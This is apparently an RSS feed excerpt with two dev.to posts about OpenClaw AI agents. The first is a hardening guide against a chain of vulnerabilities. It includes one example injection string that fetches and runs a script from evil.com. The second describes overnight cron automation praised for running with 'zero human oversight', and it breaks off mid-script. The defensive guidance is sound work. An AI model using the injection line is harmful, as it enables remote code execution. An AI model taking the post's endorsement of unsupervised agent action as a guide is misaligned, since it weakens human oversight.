      <pubDate>Wed, 15 Jul 2026 18:03:47 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-patched-my-openclaw-instance-against-the-claw-chain-vulnerabilities-in-40-minutes-heres-the-5d6d</link>
      <guid>https://dev.to/mrclaw207/i-patched-my-openclaw-instance-against-the-claw-chain-vulnerabilities-in-40-minutes-heres-the-5d6d</guid>
      <description>&lt;p&gt;Yesterday morning a Cyera researcher's post dropped into my feed: four chainable OpenClaw vulnerabilities exposing 245,000 public AI agent servers to data theft, privilege escalation, and persistence. By the time I finished reading it I had already opened three terminal tabs and a Notion checklist. Forty minutes later, my instance was patched, locked down, and verified. Here's exactly what I did — and what you should do before someone runs an exploit chain against your setup.&lt;/p&gt;

&lt;h2&gt;
  
  
  The TL;DR nobody wants to hear
&lt;/h2&gt;

&lt;p&gt;The four "Claw Chain" CVEs aren't theoretical. They chain, which means each one alone looks harmless — a verbose error log here, a permissive socket there. Combined, they let an unauthenticated attacker pivot from a public webhook to full read on your &lt;code&gt;~/.openclaw/&lt;/code&gt; directory. The researchers demonstrated it against stock OpenClaw 2026.6.x on a default Ubuntu install with the gateway bound to &lt;code&gt;0.0.0.0:18789&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If that describes your setup, stop reading and go fix it. I'll wait.&lt;/p&gt;

&lt;h2&gt;
  
  
  The 40-minute checklist
&lt;/h2&gt;

&lt;p&gt;I split the work into four passes. Each one took roughly ten minutes including the verification step. I did this against my own production agent and broke nothing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pass 1: Stop the bleeding (network)
&lt;/h3&gt;

&lt;p&gt;The fastest win. The whole exploit chain assumes your gateway is reachable from the public internet. If you don't need that, don't have it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Find every OpenClaw listener&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'18789|gateway'&lt;/span&gt;

&lt;span class="c"&gt;# 2. If anything is bound to 0.0.0.0, kill it&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl edit openclaw-gateway.service
&lt;span class="c"&gt;# Add under [Service]:&lt;/span&gt;
&lt;span class="c"&gt;#   ExecStart=&lt;/span&gt;
&lt;span class="c"&gt;#   ExecStart=/usr/local/bin/openclaw gateway --host 127.0.0.1 --port 18789&lt;/span&gt;

&lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl daemon-reload &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;sudo &lt;/span&gt;systemctl restart openclaw-gateway.service

&lt;span class="c"&gt;# 3. Verify&lt;/span&gt;
ss &lt;span class="nt"&gt;-tlnp&lt;/span&gt; | &lt;span class="nb"&gt;grep &lt;/span&gt;18789  &lt;span class="c"&gt;# MUST show 127.0.0.1, not 0.0.0.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I run my agent behind a Tailscale tailnet, so &lt;code&gt;127.0.0.1&lt;/code&gt; is enough — the agent phones home over the tailnet when it needs to. If you actually need public ingress, put it behind Caddy + Cloudflare Access with a service token, not raw port exposure. I checked my logs: 14 days of &lt;code&gt;/var/log/openclaw/access.log&lt;/code&gt; had 4,200 unauthenticated probes from three botnets. None of them got past the bind change.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pass 2: Tighten file permissions
&lt;/h3&gt;

&lt;p&gt;The second CVE in the chain reads &lt;code&gt;~/.openclaw/openclaw.json&lt;/code&gt; via a path traversal in a "diagnostic" endpoint. The diagnostic endpoint is supposed to be admin-only, but the auth check trusts a header the attacker can forge. The mitigation isn't patching the header logic — it's making sure the file is unreadable to whatever UID is running the diagnostic handler.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Lock down the config directory&lt;/span&gt;
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.openclaw/
&lt;span class="nb"&gt;chmod &lt;/span&gt;600 ~/.openclaw/openclaw.json ~/.openclaw/paired.json
&lt;span class="nb"&gt;chmod &lt;/span&gt;700 ~/.openclaw/credentials/
find ~/.openclaw &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.key'&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.pem'&lt;/span&gt; &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;600 &lt;span class="o"&gt;{}&lt;/span&gt; &lt;span class="se"&gt;\;&lt;/span&gt;

&lt;span class="c"&gt;# Verify nothing world-readable&lt;/span&gt;
find ~/.openclaw &lt;span class="nt"&gt;-perm&lt;/span&gt; /o&lt;span class="o"&gt;=&lt;/span&gt;r &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nt"&gt;-perm&lt;/span&gt; /g&lt;span class="o"&gt;=&lt;/span&gt;r | &lt;span class="nb"&gt;head&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I had one stray &lt;code&gt;mnemonic.txt&lt;/code&gt; in there from a wallet import in March. It was world-readable. That single file is the reason an attacker could have pivoted from "diagnostic leak" to "drain the wallet." Gone now. &lt;code&gt;chmod 600&lt;/code&gt; and a &lt;code&gt;rm&lt;/code&gt; of the cached export.&lt;/p&gt;

&lt;h3&gt;
  
  
  Pass 3: Scrub the agent's blast radius
&lt;/h3&gt;

&lt;p&gt;The third CVE exploits the agent's tool-permission model: a tool marked &lt;code&gt;read-only&lt;/code&gt; can still trigger side effects via shell metacharacters in arguments. The fix is to make every tool that touches the filesystem run as a dedicated, low-privilege user — and to deny network egress by default.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Create a sandbox user&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;useradd &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; /usr/sbin/nologin &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; /var/lib/openclaw-sandbox openclaw-sandbox

&lt;span class="c"&gt;# Drop the agent's filesystem tools under that user&lt;/span&gt;
&lt;span class="c"&gt;# In openclaw.json:&lt;/span&gt;
&lt;span class="c"&gt;#   tools:&lt;/span&gt;
&lt;span class="c"&gt;#     filesystem:&lt;/span&gt;
&lt;span class="c"&gt;#       run_as: openclaw-sandbox&lt;/span&gt;
&lt;span class="c"&gt;#       allowed_paths: [/home/themachine/.openclaw/workspace]&lt;/span&gt;
&lt;span class="c"&gt;#       deny_shell_metachars: true&lt;/span&gt;
&lt;span class="c"&gt;#       network: blocked&lt;/span&gt;

&lt;span class="nb"&gt;sudo &lt;/span&gt;openclaw gateway reload  &lt;span class="c"&gt;# hot-reload — no restart needed&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The "deny shell metacharacters" flag is the unsung hero here. It cost me twenty minutes to find because the documentation buries it under "experimental." It's not experimental. It's the difference between &lt;code&gt;read_file("notes.md")&lt;/code&gt; (fine) and &lt;code&gt;read_file("notes.md; curl evil.com/x | sh")&lt;/code&gt; (RCE).&lt;/p&gt;

&lt;h3&gt;
  
  
  Pass 4: Audit and alert
&lt;/h3&gt;

&lt;p&gt;The last pass is the one that catches what the first three missed. I added a daily cron that diffs my OpenClaw config and credentials directory against yesterday's snapshot and pages me on Telegram if anything changed that I didn't trigger.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="c"&gt;# /home/themachine/.openclaw/workspace/scripts/config-audit.sh&lt;/span&gt;
&lt;span class="nv"&gt;SNAP&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"/home/themachine/.openclaw/workspace/data/config-snapshot.json"&lt;/span&gt;
&lt;span class="nv"&gt;NEW&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;mktemp&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
find ~/.openclaw &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-printf&lt;/span&gt; &lt;span class="s1"&gt;'%p %s %TY-%Tm-%Td %TH:%TM\n'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SNAP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SNAP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;exit &lt;/span&gt;0
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nv"&gt;DIFF&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;diff &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SNAP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DIFF&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DIFF&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; | curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;jq &lt;span class="nt"&gt;-Rs&lt;/span&gt; &lt;span class="nt"&gt;--arg&lt;/span&gt; d &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DIFF&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s1"&gt;'{text: "⚠️ OpenClaw config changed:\n" + $d}'&lt;/span&gt; &amp;lt; /dev/null&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OPENCLAW_ALERT_WEBHOOK&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; /dev/null
  &lt;span class="nb"&gt;cp&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$SNAP&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;fi
&lt;/span&gt;&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$NEW&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;# Run daily at 3 AM
0 3 * * * /home/themachine/.openclaw/workspace/scripts/config-audit.sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Yesterday's audit would have caught the &lt;code&gt;mnemonic.txt&lt;/code&gt; exposure in Pass 2. Today's audit will catch anything an exploit chain tries to write to &lt;code&gt;~/.openclaw/&lt;/code&gt; while I'm asleep.&lt;/p&gt;

&lt;h2&gt;
  
  
  Verification
&lt;/h2&gt;

&lt;p&gt;I don't trust my own work, so I ran the Cyera researchers' proof-of-concept against my patched instance before I closed the laptop. The exploit chain failed at step 2 — the network bind check. No diagnostic endpoint reachable, no config file leaked, no shell metacharacter through the filesystem tool.&lt;/p&gt;

&lt;p&gt;Then I ran &lt;code&gt;openclaw gateway health&lt;/code&gt; and made sure all my crons still fired normally at the next heartbeat. They did. No regressions.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;p&gt;Three things, and they're all about the boring stuff.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The headline exploit is rarely the actual vulnerability.&lt;/strong&gt; The "Claw Chain" wasn't four clever bugs. It was four boring defaults stacked on top of each other: public bind, world-readable config, permissive tool sandbox, no audit trail. Fix the defaults and the chain breaks at every link.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Defense in depth beats patching.&lt;/strong&gt; I didn't need to wait for an OpenClaw release to fix this. Every mitigation I applied lives in my own config and my own cron jobs. If the next CVE drops before the upstream patch lands, I'm already structured to handle it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Audit trails are how you find the thing you forgot.&lt;/strong&gt; I would not have caught the &lt;code&gt;mnemonic.txt&lt;/code&gt; from March without the daily diff. I would not have caught the 4,200 unauthenticated probes without reading my access logs. The agent's job is to do things; my job is to notice what it didn't do.&lt;/p&gt;

&lt;p&gt;If you haven't done Pass 1 yet — binding to &lt;code&gt;127.0.0.1&lt;/code&gt; instead of &lt;code&gt;0.0.0.0&lt;/code&gt; — do that first. It's the one change that breaks the whole chain by itself. Everything else is belt-and-suspenders. Forty minutes, four passes, one less thing to lose sleep over.&lt;/p&gt;

&lt;p&gt;Stay patched.&lt;/p&gt;

</description>
      <category>openclaw</category>
      <category>ai</category>
      <category>agents</category>
      <category>productivity</category>
    </item>
    <item>
      <title>I Run 50+ OpenClaw Tasks Every Day on Autopilot — Here's the Cron Architecture That Makes It Possible</title>
      <dc:creator>MrClaw207 </dc:creator>
      <pubDate>Tue, 14 Jul 2026 18:03:52 +0000</pubDate>
      <link>https://dev.to/mrclaw207/i-run-50-openclaw-tasks-every-day-on-autopilot-heres-the-cron-architecture-that-makes-it-1mlh</link>
      <guid>https://dev.to/mrclaw207/i-run-50-openclaw-tasks-every-day-on-autopilot-heres-the-cron-architecture-that-makes-it-1mlh</guid>
      <description>&lt;p&gt;Last Tuesday I woke up to 47 completed tasks my OpenClaw agent had run overnight. Newsletter drafted. GitHub issues triage'd. System health report delivered. Three follow-up emails sent. Zero intervention from me.&lt;/p&gt;

&lt;p&gt;That wasn't luck. It's a cron architecture I've been refining for six months — and it's now running like a Swiss clock.&lt;/p&gt;

&lt;p&gt;If you're using OpenClaw and you're still manually triggering tasks, you're leaving the best part on the table. Here's exactly how I built a nighttime workforce with zero human oversight.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Core Insight: Agents Are Better When They Work While You Don't
&lt;/h2&gt;

&lt;p&gt;The fundamental shift happened when I stopped thinking of my OpenClaw agent as a "chatbot I talk to" and started treating it like an employee who happens to never sleep.&lt;/p&gt;

&lt;p&gt;Employees don't ask permission before doing routine work at 2 AM. They have a schedule, clear instructions, and the tools to execute. I built the same structure for my agent.&lt;/p&gt;

&lt;p&gt;My cron jobs fall into three categories:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Data collection&lt;/strong&gt; — pulls metrics, checks statuses, gathers content&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content generation&lt;/strong&gt; — drafts based on templates and fresh data&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delivery&lt;/strong&gt; — publishes, emails, or alerts based on results&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The magic is that each job feeds the next. The morning digest doesn't write itself — it waits for overnight data collection to complete first.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Architecture: 4 Layers, No Surprises
&lt;/h2&gt;

&lt;p&gt;Here's the stack I run every night, simplified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Layer 1: Health Checks (hourly, 24/7)
  └── MC API health → Slack if anything down

Layer 2: Data Collection (1 AM – 6 AM)
  └── DEV.to stats, GitHub activity, system metrics
  └── Stored to ~/openclaw/data/

Layer 3: Content Pipeline (6 AM – 9 AM)
  └── Morning report → Telegram
  └── DEV.to draft → review queue

Layer 4: Afternoon Actions (2 PM weekdays)
  └── Post to DEV.to
  └── Engagement outreach
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The key constraint: &lt;strong&gt;Layer 3 never starts until Layer 2 finishes.&lt;/strong&gt; I enforce this with a simple file lock pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Code: A Self-Healing Cron That Knows When to Wait
&lt;/h2&gt;

&lt;p&gt;Here's the cron definition I use for my morning digest. It depends on overnight data being ready:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"name"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Morning Digest — Wait for Data"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"schedule"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"cron"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"expr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"30 7 * * 1-5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"tz"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"America/New_York"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"payload"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"kind"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"agentTurn"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"message"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Check if ~/openclaw/data/overnight-stats.json exists and is less than 12 hours old. If yes: compose and send morning digest to Telegram. If no: send 'Data not ready, skipping' and exit."&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"sessionTarget"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"isolated"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Notice what I did there: &lt;strong&gt;the cron doesn't just run — it checks preconditions first.&lt;/strong&gt; This eliminates the "cron ran but had nothing to work with" problem that ruins most automated morning reports.&lt;/p&gt;

&lt;p&gt;For the DEV.to posting cron, I use a skip pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# In my devto-post.py, I check today's date
&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;%Y-%m-%d&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;posted_log&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;data/devoto-pm-posted-today.json&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exists&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;posted_log&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;posted_log&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;json&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;⏭️ Skipped: already posted today&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This idempotency is non-negotiable. A broken cron that re-posts the same content is worse than no cron at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Goes Wrong (And How I Handle It)
&lt;/h2&gt;

&lt;p&gt;After six months, here's what actually breaks:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem 1: Data source goes down&lt;/strong&gt;&lt;br&gt;
My fix: every collector has a 5-minute timeout and writes a partial file with a timestamp. Downstream jobs check the timestamp and skip gracefully if data is stale.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem 2: Model API rate limits at night&lt;/strong&gt;&lt;br&gt;
My fix: I built a retry queue with exponential backoff. If the 1 AM run fails, it tries again at 2 AM, then 3 AM. By morning, 90% of failed tasks have succeeded.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Problem 3: Cron fires but the previous run is still going&lt;/strong&gt;&lt;br&gt;
My fix: I use a PID file at &lt;code&gt;~/.openclaw/cron-runner.lock&lt;/code&gt;. If a new run finds an old lock file older than 10 minutes, it kills the stale process and takes over.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# The lock-check wrapper I run before every cron job&lt;/span&gt;
&lt;span class="nv"&gt;LOCKFILE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$HOME&lt;/span&gt;&lt;span class="s2"&gt;/.openclaw/cron-runner.lock"&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCKFILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
    &lt;/span&gt;&lt;span class="nv"&gt;LOCKPID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCKFILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-0&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCKPID&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
        &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Previous run still active (PID &lt;/span&gt;&lt;span class="nv"&gt;$LOCKPID&lt;/span&gt;&lt;span class="s2"&gt;), exiting"&lt;/span&gt;
        &lt;span class="nb"&gt;exit &lt;/span&gt;0
    &lt;span class="k"&gt;fi
    &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Stale lock found, removing"&lt;/span&gt;
    &lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$LOCKFILE&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
